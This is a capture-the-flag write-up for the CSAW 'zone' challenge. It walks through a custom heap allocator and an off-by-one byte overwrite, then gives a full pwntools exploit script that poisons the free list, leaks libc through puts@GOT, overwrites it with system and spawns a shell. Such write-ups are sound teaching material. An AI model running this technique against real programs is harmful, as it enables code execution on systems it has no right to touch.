Introduction
Points 300 Solve: 56
This challenge implements a self-designed memory management mechanism. Through some reverse engineering work and discovery of the memory corruption, we can finally get the shell.
Target Analysis
At the start of the program, it will allocate 4 chunks as follow. Each chunk is assigned for allocation of one specific size (0x40, 0x80, 0x100, 0x200).
0x7f0773012000 0x7f0773013000 0x1000 0x0 => size 0x200 0x7f0773013000 0x7f0773014000 0x1000 0x0 => size 0x100 0x7f0773014000 0x7f0773015000 0x1000 0x0 => size 0x80 0x7f0773015000 0x7f0773016000 0x1000 0x0 => size 0x40
Memory Management
Below we list the pseudo code for chunk allocation.
void *allocate(void* arena, int size) { return allocateFun(arena, size); } /* arena is a chunk of memory to maintain the memory chunk list x/20gx 0x7ffc5173afc0 0x7ffc5173afc0: 0x0000000000000040 0x00007f0773015000 0x7ffc5173afd0: 0x00007f0773015000 0x0000000000000080 0x7ffc5173afe0: 0x00007f0773014000 0x00007f0773014000 0x7ffc5173aff0: 0x0000000000000100 0x00007f0773013000 0x7ffc5173b000: 0x00007f0773013000 0x0000000000000200 0x7ffc5173b010: 0x00007f0773012000 0x00007f0773012000 */ void *allocateFun(void* arena, int size) { if(size <= 0x40){ return smallAllocFun(arena); } else if(size < 0x80){ return mediumAllocFun(arena); } else if(size < 0x100){ return largeAllocFun(arena); } else if(size < 0x200){ return hugeAllocFun(arena); } else{ return NULL; } } void* smallAllocFun(void* arena) { allocFunImpl(arena); } void* mediumAllocFun(void* arena) { allocFunImpl(arena+0x18); } void* largeAllocFun(void* arena) { allocFunImpl(arena+0x30); } void* hugeAllocFun(void* arena) { allocFunImpl(arena+0x48); } /* struct header{ unsigned long size; chunk_header* next; // +0x8 chunk_header* start; // +0x10 } struct chunk_header{ unsigned long size; chunk_header *next; } */ void *allocFunImpl(header* h) { chunk* ptr; chunk_header* next_chunk; ptr = h->next; if(ptr == NULL) return NULL; next_chunk = ptr->next; if(next_chunk == NULL){ h->next = NULL; } else { h->next = next_chunk->next; } return (ptr + 0x10); }
On the contrary, for memory deallocation
void free(void* arena, void* last_chunk) { if(last_chunk == NULL) return; struct chunk_header* ch = last_chunk - 0x10; unsigned long size = ch->size printf("Free size: %lu\n" % size); if(size==0x40){ smallFreeFun(arena, ch); } else if(size == 0x80){ mediumFreeFun(arena, ch); } else if(size == 0x100){ largeFreeFun(arena, ch); } else if(size == 0x200){ huge FreeFun(arena, ch); } else exit(0); return ; } void smallFreeFun(void* arena, struct chunk_header *ch) { freeFunImpl(arena, ch); } void mediumFreeFun(void* arena, struct chunk_header *ch) { freeFunImpl(arena+0x18, ch); } void largeFreeFun(void* arena, struct chunk_header *ch) { freeFunImpl(arena+0x30, ch); } void hugeFreeFun(void* arena, struct chunk_header *ch) { freeFunImpl(arena+0x48, ch); } freeFunImpl(struct header *h, struct chunk_header *ch) { if(ch == NULL) return; ch->next = h->next; h->next = ch; }
Off-by-one Error
After examining the code of writing process, it was discovered that the reading process (loop) terminates when index is larger than allocated size. It enables attacker to corrupt one byte after (0x40, 0x80, 0x100, 0x200)-chunk.
Exploitation
Initial Idea
As displayed in the pseudocode of the malloc/free, free process decides which chunk list to use according to the size in chunk_header that is about to be freed. Therefore the first idea that comes in mind is to allocate two chunks of size 0x40 and use the off-by-one error to corrupt the of the second chunk. Luckily, 0x40 and 0x80 both occupy only one byte. So we decide to overwrite 0x40 to 0x80.
from pwn import * timeout = 0.1; DEBUG = int(sys.argv[1]); if(DEBUG == 2): r = process("./zone"); gdb.attach(r, '''source ./script'''); elif(DEBUG == 1): r = process("./zone"); elif(DEBUG == 0): r = remote("pwn.chal.csaw.io", 5223); libc = ELF("./libc.so.6"); target = ELF("./zone"); def halt(): while(True): log.info(r.recvline()); def add(size): r.recvuntil("Exit\n"); tick(); r.sendline("1"); r.clean(); r.sendline(str(size)); def delete(): r.recvuntil("Exit\n"); tick(); r.sendline("2"); def write(payload): r.recvuntil("Exit\n"); #tick(); r.sendline("3"); r.clean(); r.sendline(payload); def view(): r.recvuntil("Exit\n"); tick(); r.sendline("4"); def tick(): time.sleep(timeout); r.recvuntil("Environment setup: "); leak = r.recvline(); arenaAddr = int(leak, 16); log.info("arena Addr: 0x%x" % arenaAddr); add(0x40); write("A"*0x40 + "\x80"); view(); add(0x40); write("B"*0x40); delete(); halt();
The memory layout before delete
Breakpoint 3, 0x00000000004042f8 in ?? () $1 = 0x7ffd5f0389c0 $2 = 0x40 Breakpoint 1, 0x000000000040436b in ?? () $3 = 0x7fc421a85010 <== first allocation Breakpoint 3, 0x00000000004042f8 in ?? () $4 = 0x7ffd5f0389c0 $5 = 0x40 Breakpoint 1, 0x000000000040436b in ?? () $6 = 0x7fc421a85060 <== second allocation Breakpoint 2, 0x000000000040436c in ?? () $7 = 0x7ffd5f0389c0 $8 = 0x7fc421a85060 0x7fc421a85000: 0x0000000000000040 0x0000000000000000 0x7fc421a85010: 0x4141414141414141 0x4141414141414141 0x7fc421a85020: 0x4141414141414141 0x4141414141414141 0x7fc421a85030: 0x4141414141414141 0x4141414141414141 0x7fc421a85040: 0x4141414141414141 0x4141414141414141 0x7fc421a85050: 0x00000000000000[80] 0x0000000000000000 <==corrupted data 0x7fc421a85060: 0x4242424242424242 0x4242424242424242 0x7fc421a85070: 0x4242424242424242 0x4242424242424242 0x7fc421a85080: 0x4242424242424242 0x4242424242424242 0x7fc421a85090: 0x4242424242424242 0x4242424242424242
The memory layout after delete
0x40 chunk memory layout 0x7fc421a85000: 0x0000000000000040 0x0000000000000000 0x7fc421a85010: 0x4141414141414141 0x4141414141414141 0x7fc421a85020: 0x4141414141414141 0x4141414141414141 0x7fc421a85030: 0x4141414141414141 0x4141414141414141 0x7fc421a85040: 0x4141414141414141 0x4141414141414141 0x7fc421a85050: 0x0000000000000080 0x00007fc421a84000 0x7fc421a85060: 0x4242424242424242 0x4242424242424242 0x7fc421a85070: 0x4242424242424242 0x4242424242424242 0x7fc421a85080: 0x4242424242424242 0x4242424242424242 0x7fc421a85090: 0x4242424242424242 0x4242424242424242 arena linked list: 0x7ffd5f0389c0: 0x0000000000000040 0x00007fc421a850a0 0x7ffd5f0389d0: 0x00007fc421a85000 0x0000000000000080 0x7ffd5f0389e0: [0x00007fc421a85050] 0x00007fc421a84000 0x7ffd5f0389f0: 0x0000000000000100 0x00007fc421a83000 0x7ffd5f038a00: 0x00007fc421a83000 0x0000000000000200 0x7ffd5f038a10: 0x00007fc421a82000 0x00007fc421a82000
At this point, we can observe that the second allocated chunk (0x00007fc421a85050) is moved into the 0x80_chunk-list as the first chunk for further allocation.
Exploitation Plan
At time point, we can see the delicious part of the exploitation. For next allocation of size 0x40, we will get 0x00007fc421a850b0 with ability to write 0x40 bytes. For next allocation of size 0x80, we will get 0x00007fc421a85060 with ability to write 0x80 bytes. That’s overlapping chunk and that’s great!
After taking a closer look into the code of allocFunImpl, we find that the next_chunk in list was updated by next pointer in chunk_header. So our plan is to take advantage of the overlapping chunk we have just created, get to read the value located at puts@plt and overwrite the function pointer to system function.
So our final exploitation plan is as follow:
(1)Get two overlapping chunks in memory (one is of size 0x40 at higher address, one is of 0x80 at lower)
(2)Craft a fake chunk for size 0x40 to make next allocated chunk pointing to 0x607020 (puts@got.plt).
(3)Leak libc base and system address. Overwrite address at 0x607020 to be system address.
(4)Insert “/bin/sh” in chunk and view the chunk.
Solved Exploitation
from pwn import * timeout = 0.1; DEBUG = int(sys.argv[1]); if(DEBUG == 2): r = process("./zone"); gdb.attach(r, '''source ./script'''); elif(DEBUG == 1): r = process("./zone"); elif(DEBUG == 0): r = remote("pwn.chal.csaw.io", 5223); libc = ELF("./libc.so.6"); target = ELF("./zone"); def halt(): while(True): log.info(r.recvline()); def add(size): r.recvuntil("Exit\n"); tick(); r.sendline("1"); r.clean(); r.sendline(str(size)); def delete(): r.recvuntil("Exit\n"); tick(); r.sendline("2"); def write(payload): r.recvuntil("Exit\n"); #tick(); r.sendline("3"); r.clean(); r.sendline(payload); def view(): r.recvuntil("Exit\n"); tick(); r.sendline("4"); def tick(): time.sleep(timeout); putsGot = 0x607020; r.recvuntil("Environment setup: "); leak = r.recvline(); arenaAddr = int(leak, 16); log.info("arena Addr: 0x%x" % arenaAddr); add(0x40); write("A"*0x40 + "\x80"); view(); add(0x40); write("B"*0x40); delete(); add(0x80); write("C"*0x40 + p64(0x40) + p64(putsGot - 0x10)); add(0x40); add(0x40); view(); leak = r.recv(6); leakedPuts = u64(leak + "\x00\x00"); log.info("Puts address: 0x%x" % leakedPuts); libcBase = leakedPuts - 0x6f690; systemAddr = libcBase + 0x45390; log.info("System address: 0x%x" % systemAddr); #write(systemAddr); r.recvuntil("Exit\n"); tick(); r.sendline("3"); r.clean(); r.sendline(p64(systemAddr)); r.clean(); #add(0x200) tick(); r.sendline("1"); r.clean(); r.sendline(str(0x200)); r.clean(); #write("/bin/sh"); tick(); r.sendline("3"); r.clean(); r.sendline("/bin/sh"); r.clean(); r.sendline("4"); r.interactive();
Conclusion
To be honest, I do not think it’s a good pwn challenge. In the first day of CSAW, we have located the vulnerable code and finished local exploit implementation. But we waste a lot of time making effort to assure the command is sent in sequence over net. The biggest lesson learn from this challenge should be r.clean() :(.